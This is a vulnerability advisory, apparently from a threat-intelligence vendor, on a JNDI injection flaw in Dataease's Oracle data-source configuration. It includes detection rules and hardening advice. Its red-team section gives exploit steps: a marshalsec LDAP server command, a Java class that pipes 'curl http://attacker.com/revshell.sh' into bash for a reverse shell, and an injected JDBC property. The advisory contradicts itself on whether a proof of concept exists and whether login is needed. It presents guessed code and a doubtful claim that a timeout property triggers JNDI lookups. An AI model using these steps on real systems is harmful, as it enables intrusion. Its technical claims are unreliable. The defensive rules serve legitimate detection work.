CVE-2025-64164

Executive Summary

CVE-2025-64164 is a critical JNDI injection vulnerability in Dataease, an open-source data visualization and analysis tool. The flaw exists in versions 2.10.14 and below, where the application fails to properly sanitize input when establishing JDBC connections to Oracle databases. This oversight allows an attacker to inject malicious JNDI lookups, potentially leading to remote code execution (RCE), data exfiltration, or full server compromise. The vulnerability is classified under CWE-917 (Improper Neutralization of Special Elements used in an Expression Language Statement). No public proof-of-concept (PoC) or exploit code has been released at this time, but the risk is significant due to the high privileges often associated with database connection configurations.

Supply Chain & Package Security

Dataease is distributed as a Java-based application, often deployed via Docker images or direct JAR files. The vulnerability is introduced in the core application code, not in a third-party library. However, the JDBC driver for Oracle is a standard component. Organizations should verify the integrity of their Dataease installation and ensure they are using the official, patched version (2.10.15) from the vendor’s repository.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): High (H) – Full data access is possible.
• Integrity (I): High (H) – Full data modification is possible.
• Availability (A): High (H) – Full system disruption is possible.

CVSS Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability resides in the JDBC connection handling logic for Oracle databases. Dataease allows users to configure data sources, including Oracle, via a web interface. When establishing a connection, the application constructs a JDBC URL using user-supplied parameters (e.g., host, port, database name, and connection properties). The flaw is that the application does not sanitize or validate these parameters for JNDI injection payloads.

In Java, JDBC drivers support connection properties that can trigger JNDI lookups. For example, the oracle.jdbc.ReadTimeout property can be abused to perform a JNDI lookup to an attacker-controlled LDAP or RMI server. An attacker can inject a malicious property like com.sun.jndi.ldap.LdapCtxFactory or use a crafted URL in the connectionProperties parameter. When the JDBC driver processes this property, it performs a JNDI lookup, which can lead to remote class loading and code execution.

The attack flow:

1. Attacker identifies a Dataease instance (version <= 2.10.14) with an exposed configuration interface.
2. Attacker creates or modifies an Oracle data source, injecting a malicious JNDI URL into a connection property (e.g., oracle.jdbc.ReadTimeout=ldap://attacker.com/evil).
3. Dataease attempts to establish the JDBC connection, triggering the JNDI lookup.
4. The attacker’s LDAP server responds with a serialized Java object or a remote class reference.
5. The Java runtime deserializes the object or loads the remote class, executing arbitrary code.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.10.14): The vulnerable code likely constructs the JDBC URL without sanitizing user input. A simplified example:

String jdbcUrl = "jdbc:oracle:thin:@" + host + ":" + port + ":" + sid;
Properties props = new Properties();
props.setProperty("user", username);
props.setProperty("password", password);
// User-supplied connection properties are added directly
for (String key : userProvidedProps.keySet()) {
    props.setProperty(key, userProvidedProps.get(key));
}
Connection conn = DriverManager.getConnection(jdbcUrl, props);

Patched Code (2.10.15): The patched version likely implements a whitelist of allowed connection properties or sanitizes the input to block JNDI-related properties. A conceptual fix:

// Block dangerous properties
Set<String> blockedProps = Set.of("com.sun.jndi.ldap.LdapCtxFactory", "java.naming.factory.initial", "oracle.jdbc.ReadTimeout");
for (String key : userProvidedProps.keySet()) {
    if (blockedProps.contains(key)) {
        throw new SecurityException("Blocked property: " + key);
    }
    props.setProperty(key, userProvidedProps.get(key));
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable Dataease instance (version <= 2.10.14) with network access.
• An attacker-controlled LDAP/RMI server (e.g., using marshalsec or rogue-jndi).
• A Java payload (e.g., a reverse shell or command execution).

Steps:

1. Set up a malicious LDAP server:

   java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
   

2. Host a Java class file (Exploit.class) on an HTTP server:

   public class Exploit {
       static {
           try {
               Runtime.getRuntime().exec("curl http://attacker.com/revshell.sh | bash");
           } catch (Exception e) {}
       }
   }
   

3. Log in to Dataease and navigate to the data source configuration.
4. Create a new Oracle data source. In the "Additional JDBC Parameters" field, inject:

   oracle.jdbc.ReadTimeout=ldap://attacker.com:1389/Exploit
   

5. Save and test the connection. The JNDI lookup triggers, and the payload executes.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual JDBC connection properties in logs.
• Alert on outbound connections to unknown LDAP/RMI servers (ports 389, 636, 1099, 1389).
• Use network segmentation to restrict Dataease from making outbound connections to arbitrary hosts.

Hardening:

• Immediately upgrade to Dataease 2.10.15.
• If upgrade is not possible, restrict access to the Dataease web interface to trusted IPs only.
• Implement a web application firewall (WAF) rule to block JNDI-related keywords in JDBC parameters (e.g., ldap://, rmi://, com.sun.jndi).
• Disable JNDI in the Java runtime if not needed (e.g., set com.sun.jndi.ldap.object.trustURLCodebase=false).

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to ports 389, 636, 1099, 1389, or 4444 from the Dataease server.
  • DNS queries for domains associated with known JNDI exploitation tools.
• File IOCs:
  • Unexpected .class files in temporary directories (e.g., /tmp/Exploit.class).
  • Modified Dataease configuration files containing JNDI URLs.
• Log IOCs:
  • Dataease logs showing errors like javax.naming.NamingException or java.lang.ClassNotFoundException.
  • JDBC connection logs with unusual properties like oracle.jdbc.ReadTimeout set to an LDAP URL.

Detection Engineering

YARA Rule

rule CVE_2025_64164_JNDI_Injection {
    meta:
        description = "Detects JNDI injection attempts in Dataease JDBC parameters"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64164"
    strings:
        $jndi_ldap = "ldap://" nocase
        $jndi_rmi = "rmi://" nocase
        $jndi_dns = "dns://" nocase
        $jndi_iiop = "iiop://" nocase
        $jndi_corba = "corba://" nocase
        $jndi_prop = "oracle.jdbc.ReadTimeout" nocase
        $jndi_factory = "com.sun.jndi" nocase
    condition:
        any of ($jndi_*) and ($jndi_prop or $jndi_factory)
}

Sigma Rule

title: Dataease JNDI Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects JNDI injection attempts in Dataease JDBC connection parameters
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-64164
logsource:
    category: application
    product: dataease
detection:
    selection:
        EventID: 1001  # Example: Dataease JDBC connection event
        Parameters|contains:
            - 'ldap://'
            - 'rmi://'
            - 'dns://'
            - 'iiop://'
            - 'corba://'
            - 'oracle.jdbc.ReadTimeout'
    condition: selection
falsepositives:
    - Legitimate use of LDAP for directory services (unlikely in JDBC context)
level: critical

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 389,636,1099,1389 (msg:"CVE-2025-64164 Dataease JNDI Injection - Outbound LDAP/RMI"; flow:to_server,established; content:"|0f|"; depth:1; content:"|00 00 00|"; distance:1; within:3; reference:cve,2025-64164; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Dataease to version 2.10.15 or later immediately.
2. Network Segmentation: Isolate the Dataease server from untrusted networks.
3. Access Control: Restrict access to the Dataease web interface to authorized administrators only.

Long-Term Measures:

• Implement input validation for all JDBC connection parameters.
• Use a whitelist of allowed connection properties.
• Regularly audit and update all Java-based applications for JNDI-related vulnerabilities.
• Deploy a WAF with rules to block JNDI injection payloads.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence. For questions or further analysis, contact intelligence@valters.it.